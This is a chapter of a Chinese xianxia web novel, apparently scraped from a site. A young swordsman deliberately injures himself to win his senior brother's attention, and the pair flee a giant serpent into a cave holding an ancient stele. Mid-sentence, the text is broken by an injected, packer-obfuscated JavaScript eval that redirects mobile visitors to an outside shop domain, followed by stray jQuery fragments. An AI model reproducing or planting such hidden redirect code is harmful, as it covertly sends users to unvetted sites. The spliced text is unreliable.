角狼还在低吼着,前爪刨了两下地面,却没有立刻扑上来,似乎也在掂量这个人类剑修的分量。
段从闻眼神凌厉,他手腕一转,不赦剑在身前划出一道利落的弧线,剑锋带起一声清越的嗡鸣。
角狼被这声剑鸣惊得后退了半步,但还没等它重新调整好姿态,段从闻就动了。
他的步伐比刚才快了不少,身形一晃便欺近了角狼身侧,不赦剑贴着角狼的脑袋横切而过,角狼甚至还没来得及发出惨叫就已经狼头落地。
段从闻挽了个干净利落的剑花,然后收势,剑尖朝下,稳稳停住。
整套动作一气呵成,速度极快,从出剑到收剑加起来不到两个呼吸的时间。
他目光朝着林知意所在的方向看了过来,像是早就知道林知意在那边一样。
“大师兄。”段从闻开口,语气平静,但仔细听能察觉到尾音比平时微微上扬了一点。
林知意从灌木丛后走出来,笑道:“故意耍帅呢?”
段从闻也没否认,抬头看他,“那帅吗?”
“帅!”林知意毫不吝啬地夸奖,“我们小从闻全天下第一帅。”
段从闻嘴角微微上扬,有些不好意思地别过头去。
“好了,我们走吧,去找凌云他们。”林知意拍了拍他的肩膀,示意他跟上。
他们走了近一个时辰,一路上除了妖兽就是妖兽,连个人影都没见着,林知意难免有些着急起来了,最后实在没办法,只好花费了五点积分问系统要了份地图才不至于迷路。
段从闻走在他身后,看着他的背影,心里烦闷得不行。
这一路上林知意开口提到最多的人是齐凌云。明明刚才在灌木丛里看自己耍帅的那几息里,他的眼睛里只有自己。
可一转身往前走,嘴里念叨的还是齐凌云,就像段从闻那一剑的锋芒在他心里只短暂地亮了那么一下,然后就被那个名字盖过去了。
段从闻垂着眼,看着脚下那些盘根错节的藤蔓,心里忽然生出一个不太磊落的念头。
他放任那个念头生长,没有掐掉它。
又走了一段路,前方的藤蔓越来越密,像是很久没有人走过,枝条交叉盘绕,将去路挡得严严实实。
林知意停下来,拔出观雪砍了几刀,劈开一条勉强能容一人通行的窄路,然后侧身挤了过去,回头朝段从闻伸出一只手:“小心点,这里的藤蔓……”
话没说完,段从闻跟上来的脚步骤然一偏,一根藏在草丛下的粗藤不知何时缠上了他的脚踝,他像是“没有防备”地被绊了一下,整个人朝侧面歪倒,右脚重重地踩进一丛长满细刺的灌木里。
“嘶——”
他倒吸一口气,却没有喊出声,只是单手撑地稳住身形,低头看着自己的右脚。
小腿外侧的衣料被划开了一道口子,血迹洇出来,很快染红了那一小片布料。
林知意的脸色在看清那道伤口时就变了,他三步并作两步绕回来,蹲下身伸手要去检查伤口,“怎么这么不小心?”
“大师兄不是还要去找小师弟吗?”段从闻把手按在伤口上,遮住了那道血迹,抬起眼看着他,声音比平时低了几分,带着一点恰到好处的隐忍。
“我没事的,就是蹭了一下,不碍事,大师兄先去找小师弟吧,我自己一个人可以的。”
“说什么呢,大师兄怎么可能会丢下你不管?你也是我的师弟啊。”林知意皱眉,伸手把段从闻的手从伤口上移开,他撩开那道被划破的裤腿。
伤口露了出来,几道深浅不一的划痕,边缘还嵌着几根细刺,血迹已经洇开了一大片,看起来不算严重。
林知意将手掌悬在伤口上方半寸的位置,指尖泛起一层温润的青色光芒。
那光芒像是一层极薄的水膜,缓缓覆上伤口表面,带着一股柔和的暖意渗入皮肉之中,伤口边缘的皮肉在青色灵力的覆盖下以肉眼可见的速度愈合。
怎么愈合得这么快……段从闻失望盯着已经看不出伤口的皮肤,他心想,早知道就下手狠一点了,当真是走了一步坏棋。
“走吧,小心一点。”林知意把他扶起来,似是怕他再受伤,林知意伸出手去握他的手,两人牵着手一起走。
段从闻嘴角勾起,又想,真是走了一步好棋。
两人牵着手继续往前走。穿过那片密实的藤蔓之后,前方出现了一片不大的谷地,四面被陡峭的岩壁环绕,只有溪流穿过的缺口可以进入。
谷地中央有一片浅潭,潭水呈深蓝色,表面平静得像一面镜子,倒映着上方狭长的天空,潭水的正中央,长着一株通体银白的植物。
那植物约莫半人高,枝干粗壮而光滑,像是被打磨过的玉石,枝条末端垂着几颗拳头大小的果实,表面布满细密的纹路,散发着淡淡的光晕。
林知意停在潭边,仔细观察了一会儿,脸上露出一丝意外的表情,“这是月光果。”
“月光果?”段从闻没有听过这个名字。
“一种很稀有的灵果,只生长在灵气充沛的阴寒之地,对淬炼经脉有奇效。”林知意说,“你四师姐要是看到估计要高兴得一晚上都睡不着了。”
段从闻皱了皱鼻子,他不太喜欢月光果散发出来的气息,一靠近就感觉莫名的烦躁。
“月光果周围本来就有天然的防御气息,一般的妖兽和修士靠近都会本能地感觉到不适。”林知意察觉到他的状态,解释道。
他挥了挥手,“你站远一点吧,我去摘一点带回去给小双儿。”
段从闻点点头,没有硬撑,往后退了几步,“大师兄不会觉得不舒服吗?”
“不会啊,我是木灵根。”林知意将摘下来的月光果收进特制的储物盒中,“好了,我们快走吧,一般出现宝物的地方就能刷出特级怪。”
“特级怪?此乃何物?”段从闻疑惑。
他话音刚落,地面突
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17688137|207400||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
然开始剧烈地抖动起来,两人互相搀扶着才勉强站稳,段从闻心下一惊,问:“大师兄,这是特级怪来了吗?”
“极有可能,快走。”林知意右手两指并拢向上一挑,观雪“铮”地脱鞘而出,悬停身前。
但为时已晚,身后那片深蓝色的潭水突然炸开,水花冲天而起,溅起数十丈高,紧接着,一条通体漆黑的巨蛇从潭底猛地探出。
那蛇的蛇身粗如水缸,鳞片在昏暗的天光下泛着幽冷的光泽,一双竖瞳呈暗金色,此刻正死死地盯着两人。
威压铺天盖地地压下来,空气仿佛在一瞬间变得黏稠厚重,段从闻感觉到自己的灵力运转都滞涩了几分,连呼吸都变得沉重。
遭了,是化神期的妖兽,林知意心头一震,对他们一个金丹后期和一个筑基期来说,这蛇完全是碾压级别的存在。
“跑!”林知意一把拽住段从闻的手腕,观雪剑身青光暴涨,贴着地面带起一道凌厉的剑气。
黑蛇张开巨口,发出一声低沉的嘶鸣,蛇身猛地弹射而出,速度快得几乎只能看到一道残影。
林知意不敢回头,脚下灵力灌注,带着段从闻拔足狂奔,两人朝着溪流下游的方向冲去。
黑蛇紧追其后,巨大的身躯在狭窄的谷地中却灵活得惊人,蛇头每一次探出都几乎要咬到两人的衣角。
“大师兄,前面有个洞口!”段从闻突然喊道。
林知意顺着他的目光看去,右侧的岩壁上确实有一道狭窄的裂缝,宽度仅容一人侧身通过。
他来不及犹豫,拉着段从闻朝那道裂缝猛冲过去,在黑蛇几乎要咬住段从闻后衣领的瞬间,两人侧身挤进了裂缝之中。
黑蛇的头撞在裂缝边缘,发出一声沉闷的巨响,岩石碎块簌簌落下,蛇头试图挤进来,但裂缝实在太窄了,它被卡在外面,只能发出愤怒的嘶鸣,巨大的尾巴拍打着岩壁,震得整片山体都在摇晃。
林知意没有停下,拉着段从闻在狭窄的裂缝中继续往前跑,裂缝内部的通道比他想象的要深得多,而且越往里走越宽敞,从最初仅容一人侧身通过的宽度逐渐变成了可以并肩行走的甬道。
又跑了大约一盏茶的功夫,前方忽然出现了光亮,空气也变得清冽起来。
两人从甬道尽头走出来时,眼前的景象让林知意微微愣了一下。
他们站在一座宽阔的洞厅之中,穹顶高达数十丈,上面镶嵌着无数细小的灵晶,像夜空中的繁星在缓缓闪烁。
洞厅中央立着一块石碑,约一人高,通体由深灰色的石材雕成,表面刻满了密密麻麻的上古文字,笔迹古朴而端正。
林知意走近了几步,认出那些字是上古时期的通用文:“……吾名玉清,修道三千七百载,终不得长生,留此残魂一缕,待有缘人至,传我一脉传承。”
段从闻站在他旁边,目光扫过石碑上的文字,最后落在碑底一行较小的字迹上:“心术不正者,入内必死。”